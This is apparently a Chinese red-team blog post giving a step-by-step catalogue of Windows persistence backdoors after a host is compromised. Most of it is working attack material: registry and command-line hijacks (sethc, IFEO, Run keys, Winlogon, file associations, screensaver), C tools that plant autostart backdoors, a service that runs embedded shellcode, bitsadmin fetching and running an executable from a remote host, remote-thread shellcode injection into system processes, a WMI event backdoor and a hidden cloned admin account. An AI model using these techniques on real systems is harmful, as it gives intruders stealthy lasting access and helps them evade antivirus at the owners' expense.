干貨 | 最全Windows權限維持總結
0x01 前言
紅隊人員拿到一臺主機權限后首先會考慮將該機器作為一個持久化的據點,種植一個具備持久化的后門,從而隨時可以連接該被控機器進行深入滲透。通俗的說抓到一條魚,不能輕易放走了。
0x02 輔助功能鏡像劫持
為了使電腦更易于使用和訪問,Windows 添加了一些輔助功能。這些功能可以在用戶登錄之前以組合鍵啟動。根據這個特征,一些惡意軟件無需登錄到系統,通過遠程桌面協議就可以執行惡意代碼。
比如最常見的按5下shift出現的粘滯鍵Sethc.exe,還有Windows + U組合鍵時啟動的utilman.exe程序
還有:
屏幕鍵盤:C:\Windows\System32\osk.exe放大鏡:C:\Windows\System32\Magnify.exe旁白:C:\Windows\System32\Narrator.exe顯示切換器 C:\Windows\System32\DisplaySwitch.exe應用切換器:C:\Windows\System32\AtBroker.exe
在較早的 Windows 版本,只需要進行簡單的二進制文件替換,比如經典的shift后門是將C:\Windows\System32\sethc.exe替換為cmd.exe。
windows 2003,XP
可以可視化界面更換也可以命令行:
copy c:\windows\system32\sethc.ex c:\windows\system32\sethc1.execopy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe


更高版本
我們需要用到IFEO,即映像劫持
什么是IFEO
所謂的IFEO就是Image File Execution Options,直譯過來就是映像劫持。它又被稱為“重定向劫持”(Redirection Hijack),它和“映像劫持”(Image Hijack,或IFEO Hijack)只是稱呼不同,實際上都是一樣的技術手段。白話來講就是做某個操作的時候被攔截下來,干了別的事。
當我們雙擊運行程序時,系統會查詢該IFEO注冊表,如果發現存在和該程序名稱完全相同的子鍵,就查詢對應子健中包含的“debugger”鍵值名,如果該參數不為空,系統則會把 Debugger 參數里指定的程序文件名作為用戶試圖啟動的程序執行請求來處理。這樣成功執行的是遭到“劫持”的虛假程序。
可視化修改
在iexplorer.exe中加入鍵值對:debugger c:\windows\system32\cmd.exe

命令行修改
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe" /v "Debugger" /t REG_SZ /d "c:\windows\system32\cmd.exe" /f

當然,需要管理員權限
0x03 啟動項/服務后門
開始菜單啟動項
開始菜單啟動項,指示啟動文件夾的位置,具體的位置是“開始”菜單中的“所有程序”-“啟動”選項:
C:\Users\SD\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
相關鍵值
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell FoldersHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell FoldersHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell FoldersHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

重啟后自啟

由于每臺電腦的快速啟動目錄不同,可以代碼實現
#include #include
#include #pragma comment(lib, "shell32.lib")
BOOL AutoRun_Startup(CHAR* lpszSrcFilePath, CHAR* lpszDestFileName){BOOL ret = false;CHAR szStartPath[MAX_PATH] = { 0 };CHAR szDestFilePath[MAX_PATH] = { 0 };//返回快速啟動目錄路徑到szStartPathret = ::SHGetSpecialFolderPathA(NULL, szStartPath,CSIDL_STARTUP,TRUE);//判斷是否獲取成功if (ret == TRUE){printf("[+]Get the quick start directory successfully!");}else{printf("[!]Get the quick start directory faild!");return FALSE;}//構造文件在快速啟動目錄下的路徑::wsprintfA(szDestFilePath,"%s\\%s",szStartPath,lpszDestFileName);//復制文件到快速啟動目錄下ret = ::CopyFileA(lpszSrcFilePath, szDestFilePath, FALSE);if (FALSE == ret){printf("[!]Failed to save the file in the quick start directory.");return FALSE;}else{printf("[!]Successfully to save the file in the quick start directory.");}printf("[+]Backdoor generation in quick start directory successful!");return TRUE;}int main(int argc, char* argv[]){printf("[*]Useage: %s %s %s", "Run_StartUp.exe", "E:\\010Editor\\010 Editor\\010Editor.exe", "010Editor.exe");if (argc == 3){AutoRun_Startup(argv[1], argv[2]);}else{printf("[!]Please check the number of your parameters");}}

啟動項注冊表后門
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnceHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
值得注意的是,HKEY_CURRENT_USER的改動不需要管理員權限
自己寫的一個小工具

代碼不多,也比較簡單,還是分享出來:
#include #include
BOOL Reg_CurrentUser(const char* lpszFileName,const char* lpszValueName){//定義一個注冊表句柄HKEY hKey;//打開注冊表鍵if (ERROR_SUCCESS == ::RegOpenKeyEx(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &hKey)){printf("[+] Open RegKey Successfully");}else{printf("[!] Open RegKey Error");return FALSE;}
if (ERROR_SUCCESS == ::RegSetValueExA(hKey, lpszValueName, 0, REG_SZ, (BYTE*)lpszFileName, (1 + ::lstrlenA(lpszFileName)))){printf("[+] Set Value Successfully");}else{::RegCloseKey(hKey);printf("[!] Set Value Error");return FALSE;}printf("[+] The registry backdoor about HKEY_CURRENT_USER is generated successfully");::RegCloseKey(hKey);return TRUE;}
int main(int argc, char* argv[]){printf("[*]Useage: %s %s %s","ModifyReg.exe","E:\\010Editor\\010 Editor\\010Editor.exe", "010Editor");if (argc == 3){Reg_CurrentUser(argv[1], argv[2]);}else{printf("[!]Please check the number of your parameters");}}
而更改HKEY_LOCAL_MACHINE卻是需要管理員權限

重啟后exe會自啟,不一定是cmd程序,可以換成我們自己的馬,達到維持權限的效果
使用命令行
修改HKLM
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "123" /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f
同樣需要管理員權限,代碼跟上面差不多

HKEY_CURRENT_USER同理,但不需要管理員權限

自啟動服務后門
在 Windows上還有一個重要的機制,也就是服務。服務程序通常默默的運行在后臺,且擁有 SYSTEM 權限,非常適合用于后門持久化。我們可以將 EXE /DLL等可執行文件注冊為服務實現后門持久化。
可以通過如下命令行方式添加一個服務
sc create "SD" binpath= "C:\Users\SD\Desktop\test.exe"sc description "SD" "description" 設置服務的描述字符串sc config "SD" start= auto 設置這個服務為自動啟動net start "SD" 啟動服務
也可以直接編寫一個服務,穿插著shellcode上線
#include #include
unsigned char buf[] ="\xfc\xe8\x89\x00\x00...............................................\x36\x38\x2e\x31\x2e\x31\x30\x36\x00\x12\x34\x56\x78";
#define SLEEP_TIME 5000 /*間隔時間*/#define LOGFILE "C:\\Windows\\log1.txt" /*信息輸出文件*/
SERVICE_STATUS ServiceStatus; /*服務狀態*/SERVICE_STATUS_HANDLE hStatus; /*服務狀態句柄*/
void ServiceMain(int argc, char** argv);void CtrlHandler(DWORD request);int InitService();
int main(int argc, CHAR* argv[]){WCHAR WserviceName[] = TEXT("sddd");SERVICE_TABLE_ENTRY ServiceTable[2];ServiceTable[0].lpServiceName = WserviceName;ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;ServiceTable[1].lpServiceName = NULL;ServiceTable[1].lpServiceProc = NULL;StartServiceCtrlDispatcher(ServiceTable);
return 0;}
int WriteToLog(const char* str){FILE* pfile;fopen_s(&pfile, LOGFILE, "a+");if (pfile == NULL){return -1;}fprintf_s(pfile, "%s", str);fclose(pfile);
return 0;}
/*Service initialization*/int InitService(){CHAR Message[] = "Monitoring started.";OutputDebugString(TEXT("Monitoring started."));int result;result = WriteToLog(Message);
return(result);}
/*Control Handler*/void CtrlHandler(DWORD request){switch (request){case SERVICE_CONTROL_STOP:
WriteToLog("Monitoring stopped.");ServiceStatus.dwWin32ExitCode = 0;ServiceStatus.dwCurrentState = SERVICE_STOPPED;SetServiceStatus(hStatus, &ServiceStatus);return;case SERVICE_CONTROL_SHUTDOWN:WriteToLog("Monitoring stopped.");
ServiceStatus.dwWin32ExitCode = 0;ServiceStatus.dwCurrentState = SERVICE_STOPPED;SetServiceStatus(hStatus, &ServiceStatus);return;default:break;}/* Report current status */SetServiceStatus(hStatus, &ServiceStatus);return;}
void ServiceMain(int argc, char** argv){WCHAR WserviceName[] = TEXT("sddd");int error;ServiceStatus.dwServiceType =SERVICE_WIN32;ServiceStatus.dwCurrentState =SERVICE_START_PENDING;/*在本例中只接受系統關機和停止服務兩種控制命令*/ServiceStatus.dwControlsAccepted =SERVICE_ACCEPT_SHUTDOWN |SERVICE_ACCEPT_STOP;ServiceStatus.dwWin32ExitCode = 0;ServiceStatus.dwServiceSpecificExitCode = 0;ServiceStatus.dwCheckPoint = 0;ServiceStatus.dwWaitHint = 0;hStatus = ::RegisterServiceCtrlHandler(WserviceName,(LPHANDLER_FUNCTION)CtrlHandler);if (hStatus == (SERVICE_STATUS_HANDLE)0){
WriteToLog("RegisterServiceCtrlHandler failed");return;}WriteToLog("RegisterServiceCtrlHandler success");/* Initialize Service */error = InitService();if (error){/* Initialization failed */ServiceStatus.dwCurrentState =SERVICE_STOPPED;ServiceStatus.dwWin32ExitCode = -1;SetServiceStatus(hStatus, &ServiceStatus);return;}
LPVOID Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);memcpy(Memory, buf, sizeof(buf));((void(*)())Memory)();
/*向SCM 報告運行狀態*/ServiceStatus.dwCurrentState =SERVICE_RUNNING;SetServiceStatus(hStatus, &ServiceStatus);
/*do something you want to do in this while loop*/MEMORYSTATUS memstatus;while (ServiceStatus.dwCurrentState ==SERVICE_RUNNING){char buffer[16];GlobalMemoryStatus(&memstatus);int availmb = memstatus.dwAvailPhys / 1024 / 1024;sprintf_s(buffer, 100, "available memory is %dMB", availmb);int result = WriteToLog(buffer);if (result){ServiceStatus.dwCurrentState = SERVICE_STOPPED;ServiceStatus.dwWin32ExitCode = -1;SetServiceStatus(hStatus,&ServiceStatus);return;}Sleep(SLEEP_TIME);}WriteToLog("service stopped");return;}
這其實也是psexec的原理:建立連接后創建服務反彈shell

刪除服務:
sc delete "SD"
0x04 系統計劃任務后門
Windows實現定時任務主要有schtasks與at二種方式:
At 適用于windows xp/2003,Schtasks適用于win7/2008或者以后
每五分鐘執行一次
schtasks /create /sc minute /mo 5 /tn "sd" /tr C:\Windows\System32\cmd.exe

0x05 DLL劫持
DLL劫持漏洞之所以被稱為漏洞,還要從負責加載DLL的系統API LoadLibrary 來看。熟悉Windows代 碼的同學都知道,調? LoadLibrary 時可以使?DLL的相對路徑。這時,系統會按照特定的順序搜索? 些?錄,以確定DLL的完整路徑。根據MSDN?檔的約定,在使?相對路徑調? LoadLibrary (同樣適 ?于其他同類DLL LoadLibraryEx,ShellExecuteEx等)時,系統會依次從以下6個位置去查找所需要的 DLL?件(會根據SafeDllSearchMode配置?稍有不同)。
- 程序所在?錄。
- 加載 DLL 時所在的當前?錄。
- 系統?錄即 SYSTEM32 ?錄。
- 16位系統?錄即 SYSTEM ?錄。
- Windows?錄。
- PATH環境變量中列出的?錄
dll劫持就發?在系統按照順序搜索這些特定?錄時。只要?客能夠將惡意的DLL放在優先于正常DLL所在的?錄,就能夠欺騙系統優先加載惡意DLL,來實現“劫持”。
在win7及win7以上系統增加了KnownDLLs保護,需要在如下注冊表下添加dll才能順利劫持:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\ExcludeFromKnownDlls
關于dll劫持的文章有很多,也需要去挖掘,這里推薦一篇文章入門,也是本人寫的:https://www.cnblogs.com/punished/p/14715771.html
0x06 Winlogon用戶登錄初始化
winlogon.exe是windows中非常重要的進程,在用戶還沒登錄系統之前就已經存在,并與密碼驗證相關的重要任務精密相關。例如,當在用戶登錄時,Winlogon 進程負責將用戶配置文件加載到注冊表中:
HKLM\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon\HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\
對這些注冊表項的惡意修改可能導致 Winlogon 加載和執行惡意 DLL 或可執行文件。
命令行:
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /f reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit" /t REG_SZ /d "C:\Windows\system32\cmd.exe," /f

可以powershell一句話更改
Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon" -name Userinit -value "C:\Windows\system32\userinit.exe,C:\Windows\system32\cmd.exe"
0x07 Logon Scripts后門
Windows登錄腳本,當用戶登錄時觸發,Logon Scripts能夠優先于殺毒軟件執行,繞過殺毒軟件對敏感操作的攔截。
注冊表位置:
HKEY_CURRENT_USER\Environment
增加鍵值對


0x08 文件關聯
文件關聯就是將一種類型的文件與一個可以打開它的程序建立起一種依存關系,一個文件可以與多個應用程序發生關聯。可以利用文件的"打開方式"進行關聯選擇。
我們可以用assoc命令顯示或修改文件擴展名關聯,我們可以看一下.txt文件的關聯。

用ftype命令顯示或修改用在文件擴展名關聯中的文件類型。

修改\HKEY_CLASS_ROOT\txtfile\shell\open\command的默認值為我們要執行的程序
修改注冊表(管理員權限):
reg add "HKCR\txtfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "C:\Windows\system32\cmd.exe %1" /f

再打開txt文件打開的是cmd

0x09 Bitsadmin
Windows操作系統包含各種實用程序,系統管理員可以使用它們來執行各種任務。這些實用程序之一是后臺智能傳輸服務(BITS),它可以促進文件到Web服務器(HTTP)和共享文件夾(SMB)的傳輸能力。Microsoft提供了一個名為“ bitsadmin ” 的二進制文件和PowerShell cmdlet,用于創建和管理文件傳輸。
window7以上自帶

.\bitsadmin.exe /transfer backdoor /download /priority high "http://192.168.1.106/CM.EXE" C:\1.exe

將文件放入磁盤后,可以通過從“ bitsadmin ”實用程序執行以下命令來實現持久性。
- 在創建參數需要作業的名稱
- 該addfile需要文件的遠程位置和本地路徑
- 該SetNotifyCmdLine將執行的命令
- 所述SetMinRetryDelay定義時間回調(秒)
- 該簡歷參數將運行位工作。
bitsadmin /create backdoorbitsadmin /addfile backdoor "http://192.168.1.106/CM.EXE" "C:\1.exe"bitsadmin /SetNotifyCmdLine backdoorC:\1.exe NULbitsadmin /SetMinRetryDelay "backdoor" 60 bitsadmin /resume backdoor

這里只是隨便找了個exe測試,如果是c2的馬的化可以直接上線
0x10 進程注入
之所以把注入也放到權限維持來說,因為注入更加隱蔽,尤其是拿到高權限后,難以被發現
如果是user權限可以考慮注入exploer.exe 如果是system權限則可以注入winlogon或者lassa
記一次實戰中的注入,這里是我自己寫的小工具

關于dll注入網上已經有很多教程,包括突破session 0,使用ZwCreateThreadEx創建一個線程
同樣還有shellcode注入
一個demo
DWORD CeatRemoThread(DWORD pid){HANDLE hThread;DWORD dwOldProtect;DWORD dwThreadId;int shellcode_size = sizeof(buf);//混淆char* newBuf;
decrypt(buf, shellcode_size, (LPVOID*)&newBuf);
HANDLE hHandle = OpenProcess(PROCESS_ALL_ACCESS, false, pid);if (hHandle == NULL){printf("openprocessError");free(newBuf);return FALSE;}LPVOID Memory = VirtualAllocEx(hHandle, NULL, sizeof(newBuf) + 1, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
SIZE_T dwSize = 0;WriteProcessMemory(hHandle, Memory, newBuf, shellcode_size / 3, &dwSize);//Sleep(3000);VirtualProtectEx(hHandle, Memory, shellcode_size / 3, PAGE_EXECUTE, &dwOldProtect);
HMODULE hNtdll = LoadLibrary(L"ntdll.dll");if (hNtdll == NULL){printf("[!] LoadNTdll Error,Error is:%d", GetLastError());return FALSE;}else{printf("[*] Load ntdll.dll Successfully!");}#ifdef _WIN64typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(PHANDLE ThreadHandle,ACCESS_MASK DesiredAccess,LPVOID ObjectAttributes,HANDLE ProcessHandle,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,ULONG CreateThreadFlags,SIZE_T ZeroBits,SIZE_T StackSize,SIZE_T MaximumStackSize,LPVOID pUnkown);#elsetypedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(PHANDLE ThreadHandle,ACCESS_MASK DesiredAccess,LPVOID ObjectAttributes,HANDLE ProcessHandle,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,BOOL CreateSuspended,DWORD dwStackSize,DWORD dw1,DWORD dw2,LPVOID pUnkown);#endiftypedef_ZwCreateThreadEx ZwCreateThreadEx = NULL;ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdll, "ZwCreateThreadEx");
if (ZwCreateThreadEx == NULL){printf("[!] Get ZwCreateThreadEx Address Error,Error is:%d", GetLastError());return FALSE;}else{printf("[*] Get ZwCreateThreadEx Address Successfully! Address is %x", ZwCreateThreadEx);}HANDLE hRemoteThread = NULL;DWORD ZwRet = 0;ZwRet = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hHandle,(LPTHREAD_START_ROUTINE)Memory, NULL, 0, 0, 0, 0, NULL);
if (hRemoteThread == NULL){printf("[!] Creat RemoteThread Error,Error is:%d", GetLastError());getchar();VirtualFreeEx(hHandle, Memory, 0, MEM_RELEASE);CloseHandle(hHandle);FreeLibrary(hNtdll);return FALSE;}WaitForSingleObject(hRemoteThread, INFINITE);
return TRUE;}
0x11 屏幕保護程序
利用前提:對方開啟了屏幕保護
屏幕保護程序,當初的設計是為了防止長期屏幕的顯示,預防老化與縮短屏幕顯示器老化的一種保護程序。
在對方開啟屏幕保護的情況下,我們可以修改屏保程序為我們的惡意程序從而達到后門持久化的目的,攻擊者可以利用屏幕保護程序來隱藏shell,達到一定的權限維持。
注冊表位置:
HKEY_CURRENT_USER\Control Panel\Desktop
命令行修改:
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /d C:\Windows\System32\cmd.exe


這里可以改成我們的馬,達到維持權限的效果,具體時間為注冊表的ScreenSaverTimeout值有關
0x12 WMI構造無文件后門
WMI是一項Windows管理技術,其全稱是Windows Management Instrumentation,即Windows管理規范。大多數基于Windows的軟件依賴于此服務。
無文件無進程使得他非常隱蔽成為后門,但由于他的隱蔽性現在被大多數殺軟所查殺。
通過與Powershell命令配合使用可以實現無文件,具有良好的隱蔽性也是目前較為常用的持久化手段。
如果展開講會講很久,這里推薦一篇比較詳細的文章:
https://wooyun.js.org/drops/WMI%20%E7%9A%84%E6%94%BB%E5%87%BB%EF%BC%8C%E9%98%B2%E5%BE%A1%E4%B8%8E%E5%8F%96%E8%AF%81%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E4%B9%8B%E6%94%BB%E5%87%BB%E7%AF%87.html
$filterName = 'SD'$consumerName = 'SDD'$exePath = 'C:\Windows\System32\cmd.exe'$Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >=200 AND TargetInstance.SystemUpTime < 320"$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop$WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exePath}Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}
可以使用Autoruns進行查看

0x13 影子用戶
影子用戶即創建的隱藏用戶,它無法通過普通命令進行查詢,比較隱蔽。
這里以win10作為演示
們先利用命令創建一個隱藏用戶,并將其加入本地管理員組。
net user test$ 123456 /addnet localgroup administrators test$ /add

net user無法查看

但是可以在計算機管理和登陸頁面中看到


解決辦法:
打開注冊表:
HKEY_LOCAL_MACHINE\SAM\SAM
修改權限:


修改完權限之后,我們重新啟動注冊表即可繼續查看內容。
查看F值

導出這三個值

test$導出為1.reg
000003EC包含test$用戶的F值,導出另存為2.reg
000003E9包含WIN10用戶的F值,導出另存為3.reg

將2.reg中的F值替換為3.reg中的F值,即將test$用戶的F值替換為WIN10用戶的F值

刪除test$
net user test$ /del

注冊表就已經無法打開了

導入注冊表
regedit /s 1.regregedit /s 2.reg
查看效果

但登錄界面已經沒有賬戶

3389直接登錄,以test$賬號登錄
但是登陸之后的身份卻是原來WIN10用戶,桌面也是原用戶的,達到克隆效果。

總結
一邊復現一邊寫,發現很多都需要權限,或者說如果有更高的權限能做的事更加的多,包括很多操作現在已經被各種終端設備監控,所以維權實際上是建立在免殺和提權之后的。我總結的可能不太全面,歡迎補充。